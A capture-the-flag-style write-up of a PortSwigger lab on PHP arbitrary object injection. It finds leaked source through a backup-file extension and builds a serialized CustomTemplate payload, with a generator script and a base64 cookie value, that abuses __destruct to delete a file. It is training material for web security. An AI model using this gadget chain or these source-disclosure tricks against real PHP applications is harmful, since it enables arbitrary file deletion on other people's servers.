On this page
Arbitrary Object Injection in PHP
Lab
Arbitrary object injection in PHP · Practitioner
Solution
Given
This lab uses a serialization-based session mechanism and is vulnerable to arbitrary object injection as a result. To solve the lab, create and inject a malicious serialized object to delete the morale.txt file from Carlos's home directory. You will need to obtain source code access to solve this lab.
You can log in to your own account using the following credentials: wiener:peter
Analyzing the task
We somehow need to obtain the source code, then figure out how to inject our own object into the serialized session string in order to delete the morale.txt file from Carlos's home directory.
As an option, we can try to trigger a deserialization error — it may leak some PHP file paths, and then we can poke around with the standard backup-file extensions.
Recon
Let's send a payload:
O:4:"User":2:{s:8:"username";s:6:"wiener1";s:12:"access_token";s:32:"f9z2j58k0jl5lj2j3g3o9e66qz7m8rk8";}
This triggers an error:
Internal Server Error
PHP Fatal error: Uncaught Exception: unserialize() failed in /var/www/index.php:5 Stack trace: #0 {main} thrown in /var/www/index.php on line 5
So there's an index.php file. Let's check whether it's accessible:
https://<lab-id>.web-security-academy.net/index.php
Not found
A dead end. Let's look at the source of the page. At the end there's a comment:
<!-- TODO: Refactor once /libs/CustomTemplate.php is updated -->
Let's try:
https://<lab-id>.web-security-academy.net/libs/CustomTemplate.php
200, the response is empty — that's good. Now let's try the standard backup extensions:
GET /libs/CustomTemplate.php~ HTTP/2
Got the source code:
<?php
class CustomTemplate {
private $template_file_path;
private $lock_file_path;
public function __construct($template_file_path) {
$this->template_file_path = $template_file_path;
$this->lock_file_path = $template_file_path . ".lock";
}
private function isTemplateLocked() {
return file_exists($this->lock_file_path);
}
public function getTemplate() {
return file_get_contents($this->template_file_path);
}
public function saveTemplate($template) {
if (!isTemplateLocked()) {
if (file_put_contents($this->lock_file_path, "") === false) {
throw new Exception("Could not write to " . $this->lock_file_path);
}
if (file_put_contents($this->template_file_path, $template) === false) {
throw new Exception("Could not write to " . $this->template_file_path);
}
}
}
function __destruct() {
// Carlos thought this would be a good idea
if (file_exists($this->lock_file_path)) {
unlink($this->lock_file_path);
}
}
}
?>
Exploitation
What do we see? There's a CustomTemplate class with a __destruct method that is called automatically when the object is destroyed. The class has a lock_file_path field. In the destructor we see code that deletes the lock file — so if we create an object with our own lock_file_path, serialize it and slip it into the cookie, the server will deserialize it, and at some point __destruct will be called with our lock_file_path.
In PHP a serialized User object looks like this:
O:4:"User":2:{s:4:"name":s:6:"carlos";s:10:"isLoggedIn":b:1;}
Let's adapt it for our purposes:
O:14:"CustomTemplate":1:{s:14:"lock_file_path":s:23:"/home/carlos/morale.txt";}
Base64-encode it, put it in the cookie:
Internal Server Error
PHP Fatal error: Uncaught Exception: unserialize() failed in /var/www/index.php:5 Stack trace: #0 {main} thrown in /var/www/index.php on line 5
Something's off with the syntax. Maybe we make a clever move? Kali actually ships PHP. We can just throw together a script that generates the serialized string for us, instead of checking the syntax by hand.
Rough code:
<?php
class CustomTemplate {
private $lock_file_path = '/home/carlos/morale.txt';
}
echo base64_encode(serialize(new CustomTemplate()));
Let's run the script. Payload:
TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjE6e3M6MzA6IgBDdXN0b21UZW1wbGF0ZQBsb2NrX2ZpbGVfcGF0aCI7czoyMzoiL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO30=
Lab solved!
More in this category
Using Application Functionality to Exploit Insecure Deserialization (PortSwigger Lab)
Tampering with the `avatar_link` field in the session object to delete an arbitrary file via the account-delete feature.
Modifying Serialized Data Types (PortSwigger Lab)
Abusing PHP loose comparison by changing the `access_token` type to integer `0` to bypass authentication.
Modifying Serialized Objects (PortSwigger Lab)
Flipping the `admin` boolean inside a PHP-serialized session cookie to gain administrative privileges.